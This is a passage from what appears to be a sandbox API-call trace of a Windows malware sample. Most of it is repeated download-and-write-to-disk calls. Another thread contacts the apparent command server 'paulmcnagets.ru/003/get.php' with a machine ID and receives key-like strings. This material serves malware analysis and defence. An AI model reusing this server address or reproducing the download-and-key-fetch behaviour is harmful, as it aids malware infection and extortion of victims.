| out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.066] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.067] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.071] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.072] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.083] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.083] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.088] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.088] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.091] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.091] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.096] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.096] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.106] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.107] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.111] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.111] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.123] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.123] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.125] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.126] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.130] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.130] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.133] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.133] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.146] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.147] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.151] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.151] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.152] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.153] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.170] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.174] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.175] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.175] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.175] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.175] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.186] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.191] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.191] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.193] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.193] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.203] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.204] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.215] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.216] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.217] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.228] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.228] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.231] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.242] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.246] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.247] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.256] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.259] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.267] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.271] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.280] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.281] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.285] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.286] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.297] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.299] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.299] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.306] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.306] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.309] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.313] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.313] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.326] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.327] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.334] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.334] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.338] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.338] InternetReadFile (hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8) Thread: id = 16 os_tid = 0x910 Thread: id = 17 os_tid = 0x914 [0043.102] timeGetTime () returned 0x181bc [0043.102] GetLastError () returned 0x0 [0043.103] GetCurrentThreadId () returned 0x914 [0043.103] SetLastError (dwErrCode=0x0) [0043.104] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0008 [0043.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x297488, cbMultiByte=-1, lpWideCharStr=0x2b7d68, cchWideChar=1056 | out: lpWideCharStr="33E9AA5ADDB65D39A5923495F06BCF33") returned 33 [0043.221] InternetOpenUrlW (hInternet=0xcc0008, lpszUrl="http://paulmcnagets.ru/003/get.php?pid=33E9AA5ADDB65D39A5923495F06BCF33", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0058.044] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xe80f778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe80f774 | out: lpBuffer=0xe80f778*, lpdwNumberOfBytesRead=0xe80f774*=0x67) returned 1 [0058.044] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0xe80f768, lpdwBufferLength=0xe80f76c, lpdwIndex=0x0 | out: lpBuffer=0xe80f768*, lpdwBufferLength=0xe80f76c*=0x4, lpdwIndex=0x0) returned 1 [0058.045] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0058.045] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0058.045] lstrlenA (lpString="{\"line1\":\"") returned 10 [0058.045] lstrcpyA (in: lpString1=0xe80fb78, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0058.045] lstrcpyA (in: lpString1=0xe80f778, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.045] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0058.046] lstrlenA 